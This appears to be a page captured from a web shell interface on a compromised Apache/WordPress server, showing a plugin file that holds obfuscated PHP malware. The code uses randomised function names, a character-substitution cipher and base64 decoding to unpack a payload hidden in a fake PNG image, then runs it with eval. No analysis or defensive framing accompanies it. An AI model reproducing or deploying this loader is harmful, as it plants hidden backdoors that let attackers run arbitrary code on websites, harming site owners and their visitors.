HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpwisesolutions/wp-content/plugins/achichab/reqydy.txt
<?php

function gomowi_ysapoxykh($odyxez_ushythym) {
    if ($odyxez_ushythym == 1)
        return sokuko_figacebaj();
    if ($odyxez_ushythym == 2)
        return ohivit_ysehadohe();
}

function cyremu_zozoperid($odyxez_ushythym) {
    $isushew = gomowi_ysapoxykh(1);
    $ubahus = gomowi_ysapoxykh(2);
    for ($atawah = 0; $atawah < strlen($isushew); $atawah++) {
        $otiryb = substr($isushew, $atawah, 1);
        $myxihu = substr($ubahus, $atawah, 1);
        $kexoho[$otiryb] = $myxihu;
    }

    $etezhiz = strtr($odyxez_ushythym, $kexoho);
    $etezhiz = base64_decode($etezhiz);

    return $etezhiz;
}

function ipofop_dofuchop($odyxez_ushythym) {
    $wytuvo = array();
    if (!file_exists($odyxez_ushythym))
        return false;
    $dizhede = @file_get_contents($odyxez_ushythym);
    if (!$dizhede)
        return false;
    $dizhede = substr($dizhede, 3);
    $wytuvo = cyremu_zozoperid($dizhede);
    return $wytuvo;
}

function sokuko_figacebaj() {
    $dizhede = "lYWyRj+DEPfbzJnv5apoOUZiIS8Q9T4Xwd0r1c7uMB6s2=CghHFLkxeGKmqV/A3tN";
    return $dizhede;
}

function ohivit_ysehadohe() {
    $wytuvo = "5T0qSM4FGQict+1u7IJrXCZWKwbUoELhfdgm2lN6BnpAv9OVsaYy=/ePzjxDkR3H8";
    return $wytuvo;
}

$ehexym = ipofop_dofuchop(__DIR__ . "/asset" . "s/ima" . "ges/u" . "zhele" . "f.png");
if ($ehexym) {
    @eval($ehexym);
}